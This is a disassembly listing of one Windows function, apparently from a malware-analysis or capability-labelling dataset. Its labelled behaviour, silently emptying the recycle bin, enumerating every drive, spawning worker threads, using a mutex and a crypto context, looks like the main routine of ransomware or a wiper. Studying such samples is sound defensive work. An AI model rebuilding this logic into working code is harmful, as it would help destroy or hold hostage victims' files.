Function at 0x140008320
Capabilities:
Accept command line arguments
Create thread
Empty recycle bin quietly
Empty the recycle bin
Get disk information
Get system information on windows
Terminate process

Disassembly:
sub rsp, 0xa8
mov rax, qword [0x14000e398]
xor rax, rsp
mov qword [rsp + 0x70], rax
call fcn.14000d0c0
call fcn.14000cb20
call fcn.140004e10
mov qword [0x14000e478], rax
test rax, rax
je 0x14000881b
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], rbp
mov qword [rsp + 0xa0], rdi
mov qword [rsp + 0x98], r12
mov qword [rsp + 0x90], r13
mov qword [rsp + 0x88], r14
xor r14d, r14d
mov dword [rsp + 0x38], r14d
mov qword [rsp + 0x80], r15
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x38]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
xor edx, edx
xor ecx, ecx
mov r13, rax
call qword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov ecx, dword [rsp + 0x38]
lea r8, [0x140003c80]
mov rdx, r13
call fcn.140004f10
test rax, rax
je 0x1400083e7
mov rcx, rax
mov qword [0x14000e280], rax
call fcn.140004fc0
mov dword [0x14000e470], 1
call fcn.140004b60
call fcn.140004a40
call fcn.140004980
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 7]
call qword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x60]
lea rcx, [0x14000e3d0]
lea eax, [rax*4]
lea edx, [rax + rax*2]
mov r12d, eax
add edx, edx
shr r12d, 1
call fcn.14000cbc0
lea edx, [r12 + r12*2]
lea rcx, [0x14000e420]
call fcn.14000cbc0
lea rbx, [r12*8]
mov ebp, r12d
mov rcx, rbx
call fcn.14000cad0
mov rcx, rbx
mov qword [rsp + 0x30], rax
mov rdi, rax
call fcn.14000cad0
mov r15, rax
test rdi, rdi
je 0x1400087c6
test rax, rax
je 0x1400087c6
mov r8, rbx
mov qword [rsp + 0xc0], rsi
xor edx, edx
mov rcx, rdi
call fcn.14000cb90
mov r8, rbx
xor edx, edx
mov rcx, r15
call fcn.14000cb90
test r12d, r12d
je 0x140008500
mov rbx, r15
sub rdi, r15
mov esi, ebp
nop dword [rax + rax]
mov qword [rsp + 0x28], r14
lea r8, [0x140009580]
mov r9d, 1
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x140009580]
mov qword [rdi + rbx], rax
xor edx, edx
mov dword [rsp + 0x20], r14d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx], rax
lea rbx, [rbx + 8]
sub rsi, 1
jne 0x1400084b0
mov ecx, dword [rsp + 0x38]
lea r8, [0x140003c90]
mov rdx, r13
call fcn.140004f10
mov ecx, dword [rsp + 0x38]
lea r8, [0x140003ca0]
mov rdx, r13
mov r14, rax
call fcn.140004f10
mov rdi, rax
test r14, r14
je 0x1400085b2
mov rcx, r14
mov esi, 1
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rdx, eax
xor eax, eax
mov ecx, eax
test rdx, rdx
jle 0x140008567
nop
cmp word [r14 + rcx*2], 0x2c
jne 0x14000855f
mov word [r14 + rcx*2], ax
inc esi
inc rcx
cmp rcx, rdx
jl 0x140008550
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
movsxd rcx, eax
add rcx, rcx
call fcn.14000cad0
mov rdx, r14
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rcx, rbx
call fcn.140008830
mov rcx, rbx
call fcn.14000cb00
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cdqe
lea r14, [r14 + rax*2]
sub esi, 1
jne 0x140008567
test rdi, rdi
je 0x140008663
mov rcx, rdi
mov esi, 1
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rcx, eax
xor edx, edx
mov eax, edx
test rcx, rcx
jle 0x1400085f0
cmp word [rdi + rax*2], 0x2c
jne 0x1400085e2
mov word [rdi + rax*2], dx
inc esi
inc rax
cmp rax, rcx
jl 0x1400085d5
nop word [rax + rax]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
movsxd rcx, eax
add rcx, rcx
call fcn.14000cad0
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 2
jne 0x140008634
cmp word [rbx + 2], 0x3a
jne 0x140008634
movzx ecx, word [rbx]
call fcn.140008230
jmp 0x14000863c
mov rcx, rbx
call fcn.140009320
mov rcx, rbx
call fcn.14000cb00
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cdqe
lea rdi, [rdi + rax*2]
sub esi, 1
jne 0x1400085f0
test rdi, rdi
jne 0x140008707
test r14, r14
jne 0x140008707
lea r8, [0x140003cb0]
xor edx, edx
mov ecx, 0x1f0001
call qword [sym.imp.KERNEL32.dll_OpenMutexA]
test rax, rax
jne 0x140008707
lea r8, [0x140003cb0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ecx, dword [rsp + 0x38]
lea r8, [0x140003cd0]
mov rdx, r13
call fcn.140004eb0
cmp al, 1
jne 0x1400086b8
xor ecx, ecx
call fcn.140008c10
call fcn.1400046e0
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
test eax, eax
je 0x1400086e9
mov ebx, 0x41
nop
test dil, 1
je 0x1400086de
movzx ecx, bx
call fcn.140008230
shr edi, 1
inc bx
cmp bx, 0x5a
jbe 0x1400086d0
mov ecx, dword [rsp + 0x38]
lea r8, [0x140003cd0]
mov rdx, r13
call fcn.140004eb0
test al, al
jne 0x140008707
xor ecx, ecx
call fcn.140008c10
test r12d, r12d
je 0x140008728
mov rbx, rbp
nop
xor edx, edx
lea rcx, [0x14000e420]
lea r8d, [rdx + 1]
call fcn.14000cce0
sub rbx, 1
jne 0x140008710
mov rsi, qword [rsp + 0x30]
or r9d, 0xffffffff
mov rdx, rsi
mov r8d, 1
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test r12d, r12d
je 0x140008768
mov rbx, rbp
nop dword [rax + rax]
xor edx, edx
lea rcx, [0x14000e3d0]
lea r8d, [rdx + 1]
call fcn.14000cce0
sub rbx, 1
jne 0x140008750
or r9d, 0xffffffff
mov r8d, 1
mov rdx, r15
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call fcn.140004980
test r12d, r12d
je 0x1400087ae
mov rdi, rsi
mov rbx, r15
sub rdi, r15
mov rcx, qword [rbx + rdi]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rbx, [rbx + 8]
sub rbp, 1
jne 0x140008791
mov rcx, rsi
call fcn.14000cb00
mov rcx, r15
call fcn.14000cb00
mov rsi, qword [rsp + 0xc0]
cmp dword [0x14000e470], 0
mov r15, qword [rsp + 0x80]
mov r14, qword [rsp + 0x88]
mov r13, qword [rsp + 0x90]
mov r12, qword [rsp + 0x98]
mov rdi, qword [rsp + 0xa0]
mov rbp, qword [rsp + 0xb8]
mov rbx, qword [rsp + 0xb0]
je 0x14000880c
call fcn.140005170
mov rcx, qword [0x14000e478]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]